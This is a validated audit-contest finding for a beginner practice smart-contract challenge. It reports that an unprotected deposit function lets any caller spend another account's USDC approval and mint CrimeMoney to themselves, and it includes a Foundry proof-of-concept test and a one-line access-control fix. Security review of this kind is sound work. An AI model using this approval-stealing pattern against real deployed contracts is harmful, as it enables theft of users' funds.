First Flight #16: Mafia Takedown
First Flight #16
Beginner FriendlyDeFiFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Arbitrary address `transferFrom` in `MoneyShelf::depositUSDC` allowing a Malicious user to steal `CrimeMoney`

codexbugmenot

Description

The MoneyShelf::depositUSDC function sends the USDC to an arbitrary address and since there are no access controls placed in Laundrette::depositTheCrimeMoneyInATM function it allows anyone to call the deposit function using the address of the accounts which approved the USDC to the MoneyShelf and steal the CrimeMoney .

Impact

If a user approves USDC to the MoneyShelf then any one can call MoneyShelf::depositUSDC using the Laundrette::depositTheCrimeMoneyInATM function and steal the CrimeMoney.

Proof of Concept

Prerequisites: For the following test to work add a new address address caponeBege = makeAddr("Capone Bege"); in the Base.t.sol

POC : Arbitrary address in transferFrom can allows Malicious Users to steal CrimeMoney
​
function test_ArbitraryFrominTransferFrom() public {
// same as user having initial usdc (here we used godfather to transfer usdc for simplicity)
vm.prank(godFather);
usdc.transfer(address(this), 100e6);
​
// done by address(this)
usdc.approve(address(moneyShelf), 100e6);
​
vm.prank(caponeBege);
//caponeBege calls deposit seeing that address(this) approved it and steals the crimemoney
laundrette.depositTheCrimeMoneyInATM(address(this), caponeBege, 100e6);
assertEq(usdc.balanceOf(address(this)), 0);
assertEq(usdc.balanceOf(address(moneyShelf)), 100e6);
assertEq(crimeMoney.balanceOf(caponeBege), 100e6);
}
​

Recommended Mitigation

To the Laundrette::depositTheCrimeMoneyInATM function add the modifier Laundrette:: isAuthorizedOrRevert which will prevent the arbitrary transfer

- function depositTheCrimeMoneyInATM(address account, address to, uint256 amount) external {
+ function depositTheCrimeMoneyInATM(address account, address to, uint256 amount) external isAuthorizedOrRevert(account) {
moneyShelf.depositUSDC(account, to, amount);
}
​
Updates

Lead Judging Commences

n0kto Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Arbitrary account deposit, steal approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.